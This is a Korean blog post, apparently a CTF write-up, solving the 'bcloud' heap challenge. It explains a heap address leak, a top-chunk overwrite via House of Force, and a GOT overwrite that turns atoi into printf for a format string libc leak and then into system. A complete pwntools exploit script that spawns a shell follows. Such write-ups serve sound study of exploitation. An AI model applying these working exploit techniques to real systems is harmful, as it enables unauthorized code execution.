티스토리 뷰

이 문제는 house of force기법을 이용한 힙 문제인데, format string bug를 trigger하는 과정이 필요하고 나한테는 다소 복잡하지만 이해하니 재밌는 문제였다.


file


ELF 32bit 파일이다.


보호기법


canary와 nx가 걸려있다.


분석


main함수를 보면 먼저 while문 전에 함수를 호출한다.


input_name함수를 보면


Input your name: 이라는 문구가 출력되고 input_read 함수가 실행된다.



2번째 인자까지 입력 받고, 개행문자가 도중에 있으면  break한다.


다시 input_name 함수로 돌아와서,



v2 를 0x40(64) 만큼 malloc 해주고 입력 받은 name을 chunk에 strcpy를 진행한다.


malloc 공간이 64이고 입력도 64까지 받을 수 있다.  sub_8048779 함수를 보자.



%s로 v2의 data를 출력해준다. 아까 입력할 때 64를 채워서 입력하면, 뒤에 heap base가 leak 된다. 이유는 널이 없으니 문자열의 끝을 인식 못한다.


이를 이용해서 heap base를 구하고 Top chunk의 주소를 구할 수 있다.



sub_804884e 함수이다.



Org를 &s에 입력 받고 Host에 &v3을 입력 받는다.


v4와 v2를 0x40(64)만큼 차례대로 할당 한다.


두 번째 malloc chunk의 data에는 Host가 strcpy 된다.

마지막 malloc chunk의 data에는 Org가 strcpy 된다.


마지막 malloc chunk에서 data를 0x40만큼 최대로 채워주고 +4만큼 더 채우고 더 입력받으면 Top chunk를 control할 수 있게 된다.


근데 입력을 64만큼 밖에 안 받는다. 일단 data는 다 채울 수 있게 되는데 8바이트를 더 입력받을 수 있어야 Top chunk를 control 할 수 있다.


&s의 위치를 보면 bp-0x9c 에 위치해 있다. 64만큼 입력을 받으면 v2 포인터가 있다. 어랏?


64(data) 만큼을 채우고 다음 4바이트는 어쨌든 값이 들어가 있을테니깐 overwrite가 가능하고 이제 그 다음 4바이트가 Top chunk 인데, v3, 즉, Host로 처음 입력 받는 4바이트로 Top chunk를 조절 할 수 있다.



이제 while 문을 반복한다.


1부터 보자.


v2에 input을 받는 것 같다 sub_8048709를 보겠다.




여기서 좀 꿀잼인데 input_read로 nptr에 입력을 받고


이를 atoi로 숫자로 변형해준다.


atoi(&nptr)


atou의 got 를 printf로 got overwrite를 통해 format string bug를 trigger 할 수 있다.


이를 이용해 libc를 leak 할 수 있게 된다.


다시 돌아와서,


아까 heap overflow로 top chunk를 0xffffffff로 control할 수 있게 되었다.

여기서 v2에 atoi로 숫자를 입력 받고, v2+4만큼 malloc을 할당해준다.


이 쯤에서 house of force의 충족 요건을 확인 해보겠다.


1.  top chunk를 0xffffffff로 조작이 가능해 malloc을 원하는 만큼 할당할 수 있어야 한다.

2.  malloc size를 원하는 만큼 control해 원하는 곳에 할당시킬 수 있어야 한다.

3.  원하는 곳에 malloc 된 곳에 user data로 컨트롤이 가능해야한다. (예를 들어 got overwrite)


충족하니 house of force 기법을 이용해 공격하면 된다.


atoi got를 printf plt로 overwrite해야한다.


(atoi got) - (top chunk) - header(8) 을 한 값을 넣어야 하지만 이 문제에서는 -4만큼 더 빼서


(atoi got) - (top chunk) - header(8) - 4 한 size를 할당해야한다.


그리고 user data를 입력할 때 바로 printf plt로 덮는게 아니라 “AAAA”+p32(printf_plt) 이렇게 덮어야 한다.

이렇게 하면 atoi가 printf로 바껴 fsb가 가능해진다.


offset구하고 printf_got넣고 libc leak했다.


system offset까지 구해주고,


다시 house of force를 통해 atoi->printf로 바뀐 atoi_got를 system_got로 바꿔야 한다.


다행하게도 3번메뉴에서 user data를 수정 할 수 있다.


근데 3을 입력하려는데 입력이 안된다. 이는


atoi가 printf로 바뀌었기 때문.


3이면 문자를 3개 이어 붙혀서 send하면 된다.


즉, atoi로 3이면 pritnf “AAA”와 같다.


그렇게 해서 다시 AAAA+p32(system)으로 덮어주고 nptr을 /bin/sh로 바꾸어주면 쉘을 얻을 수 있다.


libc를 어떻게 leak할 수 있는지 leak vector를 찾는게 좀 중요한 문제였고 이 문제를 통해 힙의 대한 이해와 hof 기법에 대한 이해도가 높아진 것 같아서 배운게 많은 좋은 문제였던 것 같다.


exploit.py



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

from pwn import *

s = process("./bcloud")

e = ELF("./bcloud")

libc = ELF("/lib/i386-linux-gnu/libc.so.6")

#context.log_level = 'debug'

s.recv()

s.send("A"*64)

s.recvuntil("A"*64)

atoi_got = e.got['atoi']

printf_plt = e.plt['printf']

printf_got = e.got['printf']

leak_heap=u32(s.recv()[:4])

heap_base = leak_heap - 0x8

top_chunk = heap_base + 224 # (header(8) + data(64))*3

log.success("leak_heap:" + hex(heap_base))

log.success("top_chunk:" + hex(top_chunk))

s.send("B"*64)

s.recvuntil("Host:\n")

s.sendline("\xff\xff\xff\xff")

s.recvuntil(">>\n")

size = atoi_got - top_chunk - 8 - 4

s.sendline("1")

s.recvuntil(":\n")

s.sendline(str(size))

s.recvuntil(">>\n")

s.sendline("1")

s.recvline(":\n")

s.sendline("8")

s.recvline(":\n")

s.sendline("AAAA"+p32(printf_plt))

s.recvuntil(">>\n")

s.sendline("1")

s.recvline(":\n")

payload = p32(printf_got)+"k"+"%6$s"

s.sendline(payload)

s.recvuntil("k")

leak_printf=u32(s.recv()[:4])

log.success(hex(leak_printf))

base = leak_printf - libc.symbols['printf']

log.success(hex(base))

system = base + libc.symbols['system']

log.success(hex(system))

s.sendline("AAA")

s.recv()

s.sendline("333")

s.recv()

s.sendline("1")

s.recv()

s.sendline("AAAA"+p32(system))

s.sendline("/bin/bash")

s.recv()

s.recv()

s.interactive()

Colored by Color Scripter

cs






'pwnable > CTF write-up' 카테고리의 다른 글

[Layer7 2019] How old are you? write-up  (0) 2019.10.11
64bit srop write-up  (0) 2018.08.05
사이버 가디언즈 1차전 pwn, miscwrite-up  (0) 2018.06.29
[Codegate 2018] catshop write-up  (0) 2018.05.27
[Codegate 2016] watermelon write-up  (0) 2018.05.24
Comments